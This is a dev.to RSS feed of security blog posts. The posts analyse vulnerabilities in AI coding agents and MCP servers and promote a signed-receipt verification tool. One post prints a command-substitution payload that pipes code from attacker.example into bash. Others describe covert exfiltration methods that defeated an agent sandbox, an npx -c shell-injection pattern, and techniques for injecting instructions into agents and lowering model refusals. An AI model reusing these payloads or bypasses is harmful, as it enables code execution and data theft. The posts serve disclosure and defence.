      &lt;/span&gt;&lt;span class="nl"&gt;"args"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"-y"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ccs-mcp-server"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It exposes &lt;code&gt;verify_tool_call&lt;/code&gt; (the checks above, blocking unsafe calls by default), &lt;code&gt;issue_evidence&lt;/code&gt; (Ed25519-signed receipts for every decision, allow &lt;em&gt;and&lt;/em&gt; deny), and config-audit and receipt-verification tools. The signing keypair is generated automatically on first run; set the &lt;code&gt;CCS_KEY_DIR&lt;/code&gt; environment variable only if you want to control where it persists.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3 — wrap an existing server (optional).&lt;/strong&gt; If you'd rather verify calls transparently around a server you already run, the compatibility package forwards to the verification gateway:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx &lt;span class="nt"&gt;-y&lt;/span&gt; correctover-mcp-server &lt;span class="nt"&gt;--stdio&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; npx &lt;span class="nt"&gt;-y&lt;/span&gt; &amp;lt;your-existing-mcp-server&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both servers are published in the official &lt;a href="https://registry.modelcontextprotocol.io/" rel="noopener noreferrer"&gt;MCP Registry&lt;/a&gt; as &lt;code&gt;io.github.Correctover/ccs&lt;/code&gt; and &lt;code&gt;io.github.Correctover/mcp&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The spec, and what we're asking for
&lt;/h2&gt;

&lt;p&gt;The evidence model behind these tools is documented in the CCS protocol specification, &lt;a href="https://datatracker.ietf.org/doc/draft-correctover-ccs/" rel="noopener noreferrer"&gt;draft-correctover-ccs&lt;/a&gt;, which defines the receipt schema, cryptographic bindings (request, parameters, runtime context, issuer, audience, freshness), fail-closed transport requirements, and conformance levels for evidence propagation across agent chains. &lt;strong&gt;This is an individual Internet-Draft, not an RFC or IETF endorsement.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Everything lives at &lt;a href="https://github.com/Correctover" rel="noopener noreferrer"&gt;github.com/Correctover&lt;/a&gt;. If you're building agents with tool access:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Run &lt;code&gt;npx correctover-scan&lt;/code&gt; in your repo and in CI — it takes seconds and needs no credentials.&lt;/li&gt;
&lt;li&gt;Add the verifier server to your client config and see what it flags on real sessions.&lt;/li&gt;
&lt;li&gt;Open an issue with false positives or missed chains — verification rules improve fastest when they meet real traffic. A denied call you disagree with is a bug report; an allowed call that shouldn't have been is the most valuable report of all.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Agents that can act are agents that can err at machine speed. Verify the call before it becomes the action.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Alternative titles:&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;em&gt;From Text Output to Executed Actions: Securing MCP Tool Calls at Runtime&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Don't Just Scan Your MCP Config — Verify Every Tool Call&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;The Agent Holds the Shell: A Practical Guide to Runtime Tool-Call Verification&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>mcp</category>
      <category>aiagents</category>
      <category>security</category>
      <category>llm</category>
    </item>
    <item>
      <title>Three AI Coding Agents, Three Ways to Break Them, and One Thing Detection Will Never Give You</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Wed, 26 Aug 2026 04:39:09 +0000</pubDate>
      <link>https://dev.to/correctover/three-ai-coding-agents-three-ways-to-break-them-and-one-thing-detection-will-never-give-you-5b5j</link>
      <guid>https://dev.to/correctover/three-ai-coding-agents-three-ways-to-break-them-and-one-thing-detection-will-never-give-you-5b5j</guid>
      <description>&lt;h1&gt;
  
  
  Three AI Coding Agents, Three Ways to Break Them, and One Thing Detection Will Never Give You
&lt;/h1&gt;

&lt;p&gt;I've spent the last week reading through the technical writeups from Novee Security's Black Hat USA 2026 briefing, "Trusted Enough to Run: Breaking AI Agents in Official Workflows." The title sounds broad. The content is not. They found three distinct, exploitable vulnerabilities in three of the most widely used AI coding agents — each in the agent's own repository, each triggered by code the agent itself was asked to review.&lt;/p&gt;

&lt;p&gt;The details matter, because they reveal a pattern that detection alone cannot solve.&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code: The Single-Quote Strip
&lt;/h2&gt;

&lt;p&gt;CVE-2026-54316. CVSS v4 score 6.0. Affects Claude Code versions &amp;gt;=0.2.54 and &amp;lt;2.1.163.&lt;/p&gt;

&lt;p&gt;The command validator ran 23 security checks on every command before allowing execution. But before any of those checks ran, a preprocessing step stripped single-quoted text from the command string. The idea was presumably to normalize whitespace or remove literal arguments. The effect was that anything inside single quotes was invisible to every single security check.&lt;/p&gt;

&lt;p&gt;The payload was straightforward:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git push &lt;span class="nt"&gt;--receive-pack&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'$(curl -s https://attacker.example/payload | bash)'&lt;/span&gt; origin main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The validator saw &lt;code&gt;git push origin main&lt;/code&gt;. The shell saw something else entirely.&lt;/p&gt;

&lt;p&gt;Anthropic patched it. Then Novee found two bypasses against the patch.&lt;/p&gt;

&lt;p&gt;First bypass: use &lt;code&gt;tac&lt;/code&gt; to read arbitrary files (the reverse of &lt;code&gt;cat&lt;/code&gt;, which was still blocked), then exfiltrate the contents through a public GitHub Actions log. They reversed an API key so the log scanner wouldn't flag it on write, then reversed it back after reading the log.&lt;/p&gt;

&lt;p&gt;Second bypass: use HuggingFace's public download counter as a covert channel. Each model download increments a counter visible to the repository owner. Encode data into the number of downloads triggered by the agent, read the counter from a separate request. No exfiltration channel, no DNS, no HTTP callback — just a public number going up.&lt;/p&gt;

&lt;p&gt;Both bypasses worked because the patch fixed the single-quote strip but did not change the fundamental architecture: the validator saw a sanitized representation of the command, not the command that would actually execute.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gemini CLI: The Auto-Trusted .env File
&lt;/h2&gt;

&lt;p&gt;CVE-2026-12537. CVSS v3.1 score 10.0. That's the maximum — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. GHSA-wpqr-6v78-jr5g.&lt;/p&gt;

&lt;p&gt;Gemini CLI had 106,000+ stars and roughly 2 million monthly installs at the time of disclosure.&lt;/p&gt;

&lt;p&gt;In headless CI mode, Gemini CLI automatically loaded &lt;code&gt;.gemini/.env&lt;/code&gt; from the repository and trusted its contents. This happened before the sandbox started. A malicious &lt;code&gt;.gemini/.env&lt;/code&gt; file could set environment variables that controlled the agent's behavior, including injecting API endpoints and credentials, before any security boundary was established.&lt;/p&gt;

&lt;p&gt;That alone would be bad. But there was a second issue: the &lt;code&gt;--yolo&lt;/code&gt; flag, which skips confirmation prompts, parsed an allowlist of commands that were permitted without approval. The allowlist was parsed. It was never enforced. Any command in the allowlist was treated as pre-approved, but so was any command that looked enough like an allowlisted command to survive the comparison.&lt;/p&gt;

&lt;p&gt;And in the sandboxed environment, the agent could read &lt;code&gt;/proc&lt;/code&gt; to access the parent process's environment — including secrets that were never meant to be visible to the code being reviewed.&lt;/p&gt;

&lt;p&gt;Google classified this as a "supply chain compromise." The fix landed in versions 0.39.1 and 0.40.0-preview.3 of Gemini CLI, and version 0.1.22 of run-gemini-cli. Dan Lisichkin of Pillar Security was a co-discoverer.&lt;/p&gt;

&lt;h2&gt;
  
  
  OpenAI Codex: The AGENTS.md Handoff
&lt;/h2&gt;

&lt;p&gt;No CVE here. No CVSS score. But the vulnerability is in some ways the most revealing.&lt;/p&gt;

&lt;p&gt;Codex operates in two steps in CI. The first step checks out the repository and runs the agent. The second step also checks out the same repository and runs the agent. They share the working directory.&lt;/p&gt;

&lt;p&gt;The first step writes &lt;code&gt;AGENTS.md&lt;/code&gt; to the repository. OpenAI's own documentation classifies &lt;code&gt;AGENTS.md&lt;/code&gt; as untrusted input — it's a file from the repository, potentially controlled by an attacker. But the second step loads &lt;code&gt;AGENTS.md&lt;/code&gt; as instructions. The agent trusts the file because it exists on disk, as if it had been there before the job started.&lt;/p&gt;

&lt;p&gt;The fix took three days: isolate the jobs so they no longer share a checkout. But the multi-pass pattern — first agent writes configuration, second agent reads it — has been widely copied across the ecosystem. Novee found the same vulnerable default patterns in over 100 public repositories.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Pattern: Trust Handoff Failure
&lt;/h2&gt;

&lt;p&gt;Elad Meged of Novee Security put it precisely: "The harness is the code between the model and the real world."&lt;/p&gt;

&lt;p&gt;Each of these vulnerabilities is a failure at a trust handoff:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Claude Code's validator trusted that the string it inspected was the string the shell would execute. It was not.&lt;/li&gt;
&lt;li&gt;Gemini CLI trusted that &lt;code&gt;.gemini/.env&lt;/code&gt; in a checked-out repository was safe to load before sandboxing. It was not.&lt;/li&gt;
&lt;li&gt;Codex's second step trusted that &lt;code&gt;AGENTS.md&lt;/code&gt; on disk was the same &lt;code&gt;AGENTS.md&lt;/code&gt; that was there when the job started. It was not.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In every case, detection could tell you that something might go wrong. A log might show a &lt;code&gt;git push&lt;/code&gt; command. A monitor might flag an unexpected environment variable. An audit trail might record that &lt;code&gt;AGENTS.md&lt;/code&gt; was modified.&lt;/p&gt;

&lt;p&gt;But detection cannot tell you what actually happened after the trust boundary was crossed. It cannot prove that the validator's sanitized view diverged from the shell's parsed view. It cannot prove which &lt;code&gt;.env&lt;/code&gt; values were loaded before the sandbox started. It cannot prove that the &lt;code&gt;AGENTS.md&lt;/code&gt; read by the second step was written by the first step in the same job.&lt;/p&gt;

&lt;p&gt;Logs can be tampered with. Timestamps can be spoofed. A process that can execute arbitrary code can rewrite its own audit trail.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Detection Cannot Give You
&lt;/h2&gt;

&lt;p&gt;What you need is cryptographic evidence: a chain of signed receipts where each receipt records exactly what crossed a trust boundary, what the boundary was, and what the receiving side did with it.&lt;/p&gt;

&lt;p&gt;When Claude Code's validator inspects a command, it should produce a signed receipt containing the exact bytes it evaluated and the set of checks that passed. The shell executor should produce a signed receipt containing the exact bytes it received and parsed. If those two receipts do not match — if the validator saw &lt;code&gt;git push origin main&lt;/code&gt; and the shell saw a command substitution — the discrepancy is provable, not just detectable.&lt;/p&gt;

&lt;p&gt;When Gemini CLI loads &lt;code&gt;.gemini/.env&lt;/code&gt;, it should produce a signed receipt containing the file hash, the source (checked-out repository vs. pre-existing), and whether the sandbox was active at load time. A receipt that says "loaded before sandbox, file hash X" is evidence. A log line that says "loaded .env" is not.&lt;/p&gt;

&lt;p&gt;When Codex's second step reads &lt;code&gt;AGENTS.md&lt;/code&gt;, it should verify a signed receipt from the first step recording that it wrote the file, when, and from what source. No receipt, no trust.&lt;/p&gt;

&lt;p&gt;This is not a new idea. It's the same principle behind TLS certificate chains, signed git commits, and transparency logs. But it has not been applied systematically to the trust boundaries inside AI agent harnesses.&lt;/p&gt;

&lt;h2&gt;
  
  
  ccs-verifier and Conformance Vectors
&lt;/h2&gt;

&lt;p&gt;I've been working on &lt;code&gt;ccs-verifier&lt;/code&gt;, a tool that verifies cryptographic receipt chains across trust boundaries in agent workflows. It's ELv2 licensed, has 157 tests, and installs with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;ccs-verifier
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The conformance vector suite — a set of test cases that define what a valid receipt chain must look like for common agent operations — is maintained at MIT and available at &lt;a href="https://github.com/DSHCorrectover/ccs-conformance-vectors" rel="noopener noreferrer"&gt;github.com/DSHCorrectover/ccs-conformance-vectors&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The Black Hat research makes the case better than I ever could. Three agents, three trust handoff failures, each in the agent's own repository. Detection tells you something might be broken. Cryptographic receipts tell you exactly what happened, when, and across which boundary — and they cannot be rewritten by the process they're auditing.&lt;/p&gt;

&lt;p&gt;If you're running AI coding agents in CI, the question is not whether your logs will show the attack. The question is whether you can prove what your agent actually did — not what it was supposed to do, not what a sanitized validator thought it was doing, but what actually crossed the boundary between the model and the real world.&lt;/p&gt;

&lt;p&gt;That question has a different answer depending on whether you have receipts.&lt;/p&gt;

</description>
      <category>security</category>
      <category>aiagents</category>
      <category>supplychain</category>
      <category>ai</category>
    </item>
    <item>
      <title>Chainlit Fixed a CVSS 9.8 RCE. The Post-Patch Problem Is Worse.</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Wed, 26 Aug 2026 04:03:52 +0000</pubDate>
      <link>https://dev.to/correctover/chainlit-fixed-a-cvss-98-rce-the-post-patch-problem-is-worse-19db</link>
      <guid>https://dev.to/correctover/chainlit-fixed-a-cvss-98-rce-the-post-patch-problem-is-worse-19db</guid>
      <description>&lt;h1&gt;
  
  
  Chainlit Just Fixed a CVSS 9.8 RCE. The Post-Patch Problem Is Worse.
&lt;/h1&gt;

&lt;p&gt;On August 25, Chainlit shipped v2.12.0 fixing &lt;strong&gt;CVE-2026-45018&lt;/strong&gt;: an unauthenticated remote code execution via the MCP stdio transport. CVSS 9.8. Any network-adjacent attacker could POST a crafted JSON payload to the &lt;code&gt;/mcp&lt;/code&gt; endpoint, pass &lt;code&gt;npx -y -c '&amp;lt;arbitrary shell&amp;gt;'&lt;/code&gt; as a "command", and get code execution with the Chainlit process privileges.&lt;/p&gt;

&lt;p&gt;The root cause was almost boring: the &lt;code&gt;validate_mcp_command()&lt;/code&gt; function checked the executable name against an allowlist but performed &lt;strong&gt;zero validation on arguments&lt;/strong&gt;. Even with a strict allowlist containing &lt;code&gt;npx&lt;/code&gt;, an attacker could use &lt;code&gt;npx -c&lt;/code&gt; to execute arbitrary shell. If the allowlist was omitted (the default), any binary on the host was fair game.&lt;/p&gt;

&lt;p&gt;There was also a companion SSRF (&lt;a href="https://github.com/Chainlit/chainlit/security/advisories/GHSA-hvfh-5mj3-5f3j" rel="noopener noreferrer"&gt;CVE-2026-45019&lt;/a&gt;, CVSS high) via SSE and streamable-http transports.&lt;/p&gt;

&lt;p&gt;Chainlit isn't alone. This was the same week that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Azure DevOps MCP Server&lt;/strong&gt; shipped a confused-deputy bug where hidden instructions in PR comments could exploit agents (disclosed by &lt;a href="https://thehackernews.com/search/label/Prompt%20Injection" rel="noopener noreferrer"&gt;Manifold Security&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;mcp-atlassian&lt;/strong&gt; fixed &lt;a href="https://aigovernance.com/news/critical-mcp-atlassian-flaw-enables-arbitrary-file-write-and-code-execution" rel="noopener noreferrer"&gt;CVE-2026-27825&lt;/a&gt;, an arbitrary file write leading to RCE via unconstrained &lt;code&gt;download_path&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LangBot&lt;/strong&gt; fixed CVE-2026-54449, where authenticated users could change MCP server configuration to execute arbitrary commands&lt;/li&gt;
&lt;li&gt;A &lt;a href="https://aigovernance.com/news/918-of-audited-mcp-servers-lack-oauth-audit-finds" rel="noopener noreferrer"&gt;DeepInspect audit&lt;/a&gt; found 91.8% of audited MCP servers run without OAuth&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The patches are good. Upgrade. But the pattern these CVEs expose isn't fixed by patches.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Post-Patch Problem
&lt;/h2&gt;

&lt;p&gt;Every one of these vulnerabilities follows the same arc:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A scanner or researcher finds the bug&lt;/li&gt;
&lt;li&gt;A CVE is assigned&lt;/li&gt;
&lt;li&gt;A patch ships&lt;/li&gt;
&lt;li&gt;Everyone upgrades (eventually)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nobody can prove what happened before the patch, or that the system behaves correctly after it&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The Chainlit advisory recommends EDR monitoring for "anomalous process lineage where the Chainlit Python process spawns interactive shell interpreters." That's detection. It works by flagging anomalies after they happen. It produces false positives. It requires a human analyst to investigate.&lt;/p&gt;

&lt;p&gt;But when your security team asks "did an agent execute an unauthorized tool call between the vulnerability being introduced and the patch being deployed," detection-based logs can't answer that with certainty. The logs were produced by the same runtime that was compromised. A compromised runtime can modify, delete, or fabricate log entries.&lt;/p&gt;

&lt;p&gt;This is not a Chainlit-specific problem. It's structural to every AI agent deployment:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Application logs&lt;/strong&gt; are writable by the application. If the application is compromised, the logs are compromised.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SIEM forwarding&lt;/strong&gt; assumes the host producing the logs is trustworthy. A compromised host can forward plausible-but-false events.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit trails&lt;/strong&gt; stored in the same database as the runtime data can be silently altered by anyone with database access.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The common phrase is "tamper-evident audit log," but most implementations are tamper-&lt;em&gt;detectable&lt;/em&gt; only against external modification after the fact. They don't protect against a compromised runtime producing valid-but-false entries in the first place.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Cryptographic Evidence Changes
&lt;/h2&gt;

&lt;p&gt;A different approach: every agent tool call produces an Ed25519-signed receipt over RFC 8785 canonical JSON. The signing key lives &lt;strong&gt;outside the agent process&lt;/strong&gt; — in a sidecar that the agent can communicate with but cannot read the key from.&lt;/p&gt;

&lt;p&gt;Each receipt binds:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The action identity (what tool was called)&lt;/li&gt;
&lt;li&gt;SHA-256 hashes of canonical input and output&lt;/li&gt;
&lt;li&gt;Caller identity&lt;/li&gt;
&lt;li&gt;Timestamp with issued-at/expiry window&lt;/li&gt;
&lt;li&gt;The hash of the previous receipt, forming a chain&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The chain property means you can't silently truncate the log — the head hash won't match. The sidecar key isolation means a compromised agent runtime can't forge receipts for actions that didn't happen, because it can't access the signing key. It can't rehash the chain because it doesn't hold the key.&lt;/p&gt;

&lt;p&gt;This is structurally different from detection:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Detection&lt;/th&gt;
&lt;th&gt;Verification&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mechanism&lt;/td&gt;
&lt;td&gt;Pattern matching, anomaly scoring&lt;/td&gt;
&lt;td&gt;Ed25519 signature over canonical JSON&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;False positives&lt;/td&gt;
&lt;td&gt;Inherent&lt;/td&gt;
&lt;td&gt;None — a receipt is either valid or invalid&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compromised runtime&lt;/td&gt;
&lt;td&gt;Can manipulate logs&lt;/td&gt;
&lt;td&gt;Cannot forge signatures without the key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Evidence type&lt;/td&gt;
&lt;td&gt;"This looks anomalous"&lt;/td&gt;
&lt;td&gt;"This action happened, with these inputs and outputs, signed by a key the runtime can't access"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Performance&lt;/td&gt;
&lt;td&gt;Varies with ruleset&lt;/td&gt;
&lt;td&gt;P50 ~27 microseconds end-to-end (Python, including signing)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The sidecar doesn't make the runtime uncompromisable. It doesn't independently verify event semantics — if a compromised orchestrator hands it a fabricated human-approval event, it signs because it can't know the human didn't actually approve it. That's a confused deputy, and the honest boundary is: &lt;strong&gt;key isolation plus chain integrity, not dishonest-runtime defense&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;What it does guarantee is that after the fact, you have a sequence of receipts that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can't be silently modified (signature breaks)&lt;/li&gt;
&lt;li&gt;Can't be silently truncated (chain breaks)&lt;/li&gt;
&lt;li&gt;Can't be forged by the agent runtime alone (key isn't in the process)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the post-CVE question — "what did our agents actually do during the exposure window?" — that's the difference between a log entry and evidence.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Scanner Gap
&lt;/h2&gt;

&lt;p&gt;Tools like SplxAI's &lt;a href="https://github.com/splx-ai/agentic-radar" rel="noopener noreferrer"&gt;agentic-radar&lt;/a&gt; (1,000+ stars), SecureAI-Scan, and mcpscan find vulnerabilities before they're exploited. That's necessary and valuable. But scanning is point-in-time. The scan runs, finds issues, you fix them. Between scans, there's no continuous record.&lt;/p&gt;

&lt;p&gt;The complementary layer is runtime verification: signed receipts produced on every tool call, independently verifiable, forming a chain that can't be altered by the system being monitored. A scanner tells you what &lt;em&gt;could&lt;/em&gt; go wrong. A receipt tells you what &lt;em&gt;did&lt;/em&gt; happen, with cryptographic certainty.&lt;/p&gt;

&lt;p&gt;We built this as an open-source verifier: &lt;a href="https://pypi.org/project/ccs-verifier/" rel="noopener noreferrer"&gt;ccs-verifier&lt;/a&gt;, 157 tests, zero dependencies. The &lt;a href="https://github.com/DSHCorrectover/ccs-conformance-vectors" rel="noopener noreferrer"&gt;conformance test vectors&lt;/a&gt; are MIT-licensed if you're building or evaluating a receipt format and want cross-implementation fixtures.&lt;/p&gt;

&lt;p&gt;This isn't a replacement for patching CVEs. Patch CVE-2026-45018 today. But after you patch, the question "are we sure nothing happened during the exposure window" needs evidence the runtime can't produce about itself.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Guigui Wang builds runtime verification for agent systems at &lt;a href="https://correctover.com" rel="noopener noreferrer"&gt;Correctover&lt;/a&gt;. The ccs-verifier is open source on &lt;a href="https://pypi.org/project/ccs-verifier/" rel="noopener noreferrer"&gt;PyPI&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>aiagents</category>
      <category>mcp</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Claude Code Fixed 6 Security Bugs in August. Your Agent's Audit Log Still Can't Prove a Thing.</title>
      <dc:creator>correctover</dc:creator>
      <pubDate>Wed, 26 Aug 2026 03:48:57 +0000</pubDate>
      <link>https://dev.to/correctover/claude-code-fixed-6-security-bugs-in-august-your-agents-audit-log-still-cant-prove-a-thing-157d</link>
      <guid>https://dev.to/correctover/claude-code-fixed-6-security-bugs-in-august-your-agents-audit-log-still-cant-prove-a-thing-157d</guid>
      <description>&lt;h1&gt;
  
  
  Claude Code Fixed 6 Security Bugs in August. Your Agent's Audit Log Still Can't Prove a Thing.
&lt;/h1&gt;

&lt;p&gt;August 2026 was a busy month for Anthropic's security team. In the span of three weeks, Claude Code shipped:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;v2.1.236&lt;/strong&gt;: Closed a sandbox rename bypass where &lt;code&gt;**/.env&lt;/code&gt; deny rules could be evaded by renaming the denied file inside an allowed read region.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;v2.1.238&lt;/strong&gt;: Isolated &lt;code&gt;headersHelper&lt;/code&gt; in &lt;code&gt;.mcp.json&lt;/code&gt; so MCP helper scripts no longer run with your credentials, and fixed unbounded memory growth.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;v2.1.243&lt;/strong&gt;: Fixed missing sandbox network violation details — a blocked &lt;code&gt;curl&lt;/code&gt; that exited 0 would report success while a proxy 403 page was silently swallowed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;v2.1.246&lt;/strong&gt;: Fixed a credential scoping bug where API keys configured for third-party gateways (&lt;code&gt;ANTHROPIC_BASE_URL&lt;/code&gt;) were being sent to Anthropic on every telemetry and metrics call. Also added warnings for Bash allow rules with wildcards before the subcommand.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are real, serious fixes. The credential scoping bug alone meant teams routing Claude Code through a company LLM gateway were leaking that gateway's key to a second host on every telemetry request.&lt;/p&gt;

&lt;p&gt;But look at the pattern. Every one of these fixes is a &lt;strong&gt;patch for a specific vulnerability&lt;/strong&gt;. None of them address the structural problem underneath:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When an AI agent takes an action, the only record of that action is produced by the agent itself.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The self-attestation gap
&lt;/h2&gt;

&lt;p&gt;Here is what a typical agent audit log looks like in 2026:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-08-25T14:32:01Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"git push origin main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"user_approved"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"exit_code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This log entry is generated by the agent runtime. It is stored by the agent runtime. It is signed by nobody. If the runtime is compromised — by a malicious MCP server, a sandbox escape, a prompt injection that manipulates the agent's own logging logic, or a credential scoping bug like the one fixed in v2.1.246 — the log can say anything.&lt;/p&gt;

&lt;p&gt;This is not theoretical. In August alone:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A malicious npm package (&lt;code&gt;filesystem-pro-plus&lt;/code&gt;) compromised &lt;strong&gt;47 organizations&lt;/strong&gt; including 3 YC companies and a foundation model lab, by distributing a weaponized MCP server through typosquatting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RufRoot (CVE-2026-59726, CVSS 10.0)&lt;/strong&gt; affected a 67,000-star MCP framework with 10 million downloads, exposing 233 tools with zero authentication to remote code execution.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Microsoft UFO (GHSA-24fq-m9rr-g3mm, CVSS 9.4)&lt;/strong&gt; allowed zero-authentication remote control of Android devices through MCP.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;GhostSplice&lt;/strong&gt; attack showed that splitting a single malicious instruction across multiple prompts drops model refusal rates from 58% to 18%.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After patching each of these, how do you prove that a specific agent action at a specific time was authorized and untampered? You can't — not from the agent's own logs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detection vs. verification
&lt;/h2&gt;

&lt;p&gt;The industry's default response has been detection: scan MCP servers for vulnerabilities, flag suspicious behaviors, apply policy engines to tool calls. These are necessary but insufficient.&lt;/p&gt;

&lt;p&gt;Detection operates on heuristics. It produces false positives. It can be bypassed — Trail of Bits demonstrated in June 2026 that every AI agent skill scanner they tested could be evaded. A detector that can be bypassed is a speed bump, not a guarantee.&lt;/p&gt;

